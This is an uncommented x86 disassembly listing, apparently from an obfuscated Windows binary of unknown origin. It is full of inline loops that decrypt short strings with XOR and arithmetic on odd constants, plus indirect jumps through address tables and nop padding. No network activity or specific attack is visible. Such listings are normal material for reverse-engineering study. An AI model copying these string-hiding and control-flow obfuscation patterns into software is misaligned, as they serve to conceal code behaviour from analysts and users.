cmp ecx, edi
jae 0x40eef7
cmp byte [ebx + eax], 0
mov ebx, ecx
jne 0x40eed0
mov eax, esi
inc eax
lea eax, [esi + esi + 2]
jns 0x40ef05
mov eax, 0xffffffff
push eax
call fcn.004095a0
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + esi*2]
mov esi, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x1c], ecx
cmp eax, ecx
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x18]
jae 0x40f2f9
mov esi, dword [esp + 0x34]
cmp ebx, edi
jae 0x40f2f9
mov esi, dword [esp + 0x34]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x40f2f9
lea eax, [esp + 0x48]
push eax
push edi
push ebx
call fcn.0040d410
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [esi], cx
add esi, 2
cmp esi, dword [esp + 0x1c]
jae 0x40f2f5
add ebx, eax
cmp ebx, edi
mov eax, dword [esp + 0xc]
jb 0x40ef50
jmp 0x40f2f9
sete al
movzx eax, al
jmp dword [eax*4 + 0x43b58c]
mov word [esp + 0x48], 0x5bb4
mov word [ebx + 4], 0
mov dword [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40f1c4
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xd62b998f
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x35
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40f190
push 2
push edi
push esi
call fcn.004033f0
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43b594]
mov word [esp + 0xb4], 0x3995
lea eax, [esp + 0xb6]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 6
ja 0x40f256
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0xb4]
lea edx, [eax + ecx]
add edx, 0x6c16624a
add eax, 0x6c16624a
and eax, ecx
add eax, eax
sub edx, eax
mov dword [esp + 0x2c], edx
mov eax, dword [esp + 0x2c]
add al, 0x8e
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0xb4], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 7
jb 0x40f210
push 5
lea eax, [esp + 0xb8]
push eax
push esi
call fcn.004033f0
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43b59c]
mov word [esp], 0xc946
lea eax, [esp + 2]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 6
ja 0x40f2d1
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx]
add eax, 0xfbbaacd2
xor eax, ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
add al, 0xe6
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 7
jb 0x40f2a0
push 2
lea eax, [esp + 4]
push eax
push esi
call fcn.004033f0
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43b5a4]
jmp dword [0x43b5ac]
mov eax, dword [esp + 0xc]
mov word [esi], 0
lea edi, [eax - 1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + 1], 0
lea edi, [edi + 1]
jne 0x40f310
xor esi, esi
cmp eax, edi
jae 0x40f357
cmp byte [eax], 0
je 0x40f357
xor esi, esi
mov ebx, dword [esp + 0xc]
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push edi
push ebx
call fcn.0040d410
add esp, 0xc
lea ecx, [ebx + eax]
inc esi
cmp ecx, edi
jae 0x40f357
cmp byte [ebx + eax], 0
mov ebx, ecx
jne 0x40f330
mov eax, esi
inc eax
lea eax, [esi + esi + 2]
jns 0x40f365
mov eax, 0xffffffff
push eax
call fcn.004095a0
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + esi*2]
mov esi, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
cmp eax, ecx
mov ebx, dword [esp + 0xc]
jae 0x40f3cb
mov esi, dword [esp + 0x20]
cmp ebx, edi
jae 0x40f3cb
mov esi, dword [esp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x40f3cb
lea eax, [esp + 0x48]
push eax
push edi
push ebx
call fcn.0040d410
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [esi], cx
add esi, 2
cmp esi, dword [esp + 0x1c]
jae 0x40f3cb
add ebx, eax
cmp ebx, edi
jb 0x40f3a0
mov word [esi], 0
mov word [esp + 0x48], 0x5965
mov byte [esp + 0x4a], 0xc2
lea ebx, [esp + 0x4a]
mov byte [ebx + 3], 0
mov word [ebx + 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x40f434
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xe87b2fb0
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x90
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x40f400
lea edi, [esp + 0x48]
push edi
push dword [ebp + 8]
call fcn.00402fd0
add esp, 8
xor ecx, ecx
mov dword [esp + 0x18], eax
test eax, eax
setne cl
xor edx, edx
xor esi, esi
jmp dword [ecx*4 + 0x43b714]
mov ecx, edi
push 2
mov edi, edx
call fcn.00409ea0
push edi
lea edi, [esp + 0x4c]
push esi
push dword [esp + 0x28]
push dword [esp + 0x40]
push edi
call fcn.00413a40
add esp, 0x14
mov ecx, edi
call fcn.0040a760
movzx eax, al
jmp dword [eax*4 + 0x43b754]
push dword [esp + 0x18]
call fcn.00403510
add esp, 4
mov ecx, eax
mov dword [esp + 0x24], eax
mov ecx, 0xc
mul ecx
seto dl
mov ecx, 0xffffffff
mov esi, 0xffffffff
add eax, 4
jb 0x40f4e0
mov esi, eax
test dl, dl
jne 0x40f4e6
mov ecx, esi
push ecx
call fcn.004095a0
add esp, 4
mov esi, eax
mov ecx, dword [esp + 0x24]
mov dword [eax], ecx
add esi, 4
xor eax, eax
test ecx, ecx
sete al
mov dword [esp + 0x1c], esi
jmp dword [eax*4 + 0x43b71c]
mov eax, dword [esp + 0x24]
lea eax, [eax + eax*2]
lea eax, [esi + eax*4]
mov dword [esi], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
lea ecx, [esi + 0xc]
xor edx, edx
cmp ecx, eax
sete dl
jmp dword [edx*4 + 0x43b724]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov byte [ecx + 8], 0
add ecx, 0xc
xor edx, edx
cmp ecx, eax
sete dl
jmp dword [edx*4 + 0x43b724]
mov dword [esp + 0xc], 0
mov eax, dword [0x43b738]
jmp 0x40f590
jmp eax
mov dword [esp + 0x14], 0xdb60
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 3
ja 0x410b73
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x9ebbbbaf
xor eax, ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
add al, 0x95
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 4
jb 0x410b40
push 3
lea eax, [esp + 0x18]
push eax
push esi
call fcn.004033f0
add esp, 0xc
mov dword [esp + 0x14], 0xdb60
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 3
ja 0x410bd3
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x9ebbbbaf
xor eax, ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
add al, 0x95
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 4
jb 0x410ba0
push 3
lea eax, [esp + 0x18]
push eax
push esi
call fcn.004033f0
add esp, 0xc
jmp dword [0x43b5b8]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x43b5bc]
jmp case.0x40f06f.1
mov word [esp + 0x38], 0x23e
mov byte [esp + 0x3a], 0x92
mov dword [esp + 0x3b], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 6
ja 0x410c63
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x38]
add eax, 0x5c09fba4
xor eax, ecx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
add al, 0xcc
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 7
jb 0x410c30
push 3
lea eax, [esp + 0x3c]
push eax
push esi
call fcn.004033f0
add esp, 0xc
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x43b5c4]
mov word [esp + 0x48], 0xbb14
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x410cdf
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + ecx]
add eax, 0x1f
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xc1f91d1f
mov dword [esp + 0xb4], edx
mov eax, dword [esp + 0xb4]
add al, 0x65
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x410ca0
push edi
push esi
call fcn.00402d70
add esp, 8
mov dword [esp + 0x24], eax
mov word [esp + 0x48], 0x4bdf
mov dword [esp + 0x4a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x410d44
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xe90116f3
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x41
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x410d10
push edi
push esi
call fcn.00402fd0
add esp, 8
mov dword [esp + 0x120], eax
mov word [esp + 0x48], 0xeb7a
mov byte [ebx + 4], 0
mov dword [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x410dc9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
and edx, 0x2c82e9d7
xor eax, 0xac82e9d7
lea eax, [eax + edx*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
mov ecx, eax
xor ecx, 0x33
and eax, 0x4c
add eax, eax
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x410d80
push edi
push esi
call fcn.00402d70
add esp, 8
mov dword [esp + 0x18], eax
mov word [esp + 0x48], 0x31ac
mov byte [ebx + 2], 0
mov word [ebx], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x410e34
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xfd8329cc
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 4
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x410e00
push edi
push esi
call fcn.00402ea0
add esp, 8
mov word [esp + 0x48], 0xded2
mov byte [esp + 0x4a], 0x4e
mov byte [ebx + 3], 0
mov word [ebx + 1], 0
fnstcw word [esp + 0x10a]
movzx eax, word [esp + 0x10a]
or eax, 0xc00
mov word [esp + 0x11a], ax
fldcw word [esp + 0x11a]
fistp dword [esp + 0x144]
fldcw word [esp + 0x10a]
mov eax, dword [esp + 0x144]
mov dword [esp + 0x40], eax
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x410ed4
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xa624f212
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xa6
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x410ea0
push edi
push esi
call fcn.00402ea0
add esp, 8
fnstcw word [esp + 0x108]
movzx eax, word [esp + 0x108]
or eax, 0xc00
mov word [esp + 0x118], ax
fldcw word [esp + 0x118]
fistp dword [esp + 0x140]
fldcw word [esp + 0x108]
mov eax, dword [esp + 0x140]
mov dword [esp + 0xb0], eax
mov word [esp + 0x48], 0x939a
mov byte [esp + 0x4a], 0x26
mov byte [ebx + 3], 0
mov word [ebx + 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x410f99
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx edx, byte [esp + ecx + 0x48]
lea ecx, [eax + edx]
add eax, 9
and eax, edx
sub ecx, eax
add ecx, 0x3fbb3a09
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
sub eax, edx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xd3
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x410f50
push edi
push esi
call fcn.00403100
add esp, 8
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x24]
lea esi, [eax - 1]
nop
nop
cmp byte [esi + 1], 0
lea esi, [esi + 1]
jne 0x410fb0
xor edi, edi
cmp eax, esi
jae 0x410ff7
cmp byte [eax], 0
je 0x410ff7
xor edi, edi
mov ebx, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push esi
push ebx
call fcn.0040d410
add esp, 0xc
lea ecx, [ebx + eax]
inc edi
cmp ecx, esi
jae 0x410ff7
cmp byte [ebx + eax], 0
mov ebx, ecx
jne 0x410fd0
mov eax, edi
inc eax
lea eax, [edi + edi + 2]
jns 0x411005
mov eax, 0xffffffff
push eax
call fcn.004095a0
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + edi*2]
mov ebx, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0xc], ecx
cmp eax, ecx
mov ecx, dword [esp + 0x24]
jae 0x411079
mov ebx, dword [esp + 0x28]
cmp ecx, esi
jae 0x411079
mov ebx, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
nop
nop
nop
nop
nop
cmp byte [ecx], 0
je 0x411079
lea eax, [esp + 0x48]
push eax
push esi
push ecx
mov edi, ecx
call fcn.0040d410
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [esp + 0xc]
jae 0x411075
add edi, eax
cmp edi, esi
mov ecx, edi
mov edi, dword [esp + 0x1c]
jb 0x411040
jmp 0x411079
mov edi, dword [esp + 0x1c]
mov word [ebx], 0
mov eax, esp
push eax
push 0
push 0
push edi
mov ebx, dword [esp + 0x38]
push ebx
push 0
call dword [0x440ee4]
mov esi, dword [esp]
lea eax, [esi + esi]
test esi, esi
jns 0x4110a2
mov eax, 0xffffffff
push eax
call fcn.004095a0
add esp, 4
mov ecx, eax
mov eax, esp
push eax
push esi
mov dword [esp + 0x28], ecx
push ecx
push edi
push ebx
push 0
call dword [0x440ee4]
jmp dword [0x43b5cc]
push ebx
call fcn.004095b0
add esp, 4
mov ecx, dword [esp + 0x18]
mov eax, ecx
jmp 0x4115ae
mov ecx, dword [esp + 0x18]
mov esi, ecx
jmp 0x4115a6
push dword [esp + 0x34]
call fcn.004095b0
add esp, 4
jmp dword [0x43b614]
jmp dword [0x43b5dc]
push esi
call fcn.00403510
add esp, 4
xor ecx, ecx
cmp edi, eax
setb cl
jmp dword [ecx*4 + 0x43b5d4]
mov dword [esp + 0x12c], edi
push edi
push esi
call fcn.004034f0
add esp, 8
push eax
call fcn.00402e80
add esp, 4
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x43b5e4]
lea eax, [esi + 1]
cmp byte [esi], 0
je 0x4115b2
mov esi, eax
jmp 0x4115a6
xor edi, edi
cmp esi, ecx
jbe 0x4115f7
cmp byte [ecx], 0
je 0x4115f7
xor edi, edi
mov ebx, dword [esp + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push esi
push ebx
call fcn.0040d410
add esp, 0xc
lea ecx, [ebx + eax]
inc edi
cmp ecx, esi
jae 0x4115f7
cmp byte [ebx + eax], 0
mov ebx, ecx
jne 0x4115d0
mov eax, edi
inc eax
lea eax, [edi + edi + 2]
jns 0x411605
mov eax, 0xffffffff
push eax
call fcn.004095a0
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + edi*2]
mov edi, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0xc], ecx
cmp eax, ecx
mov ebx, dword [esp + 0x18]
jae 0x41166b
mov edi, dword [esp + 0x34]
cmp ebx, esi
jae 0x41166b
mov edi, dword [esp + 0x34]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x41166b
lea eax, [esp + 0x48]
push eax
push esi
push ebx
call fcn.0040d410
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0xc]
jae 0x41166b
add ebx, eax
cmp ebx, esi
jb 0x411640
mov word [edi], 0
lea ecx, [esp + 0x48]
push 1
call fcn.00409ea0
xor edi, edi
lea ebx, [esp + 0x4a]
mov esi, dword [esp + 0x120]
jmp case.0x40c4bf.188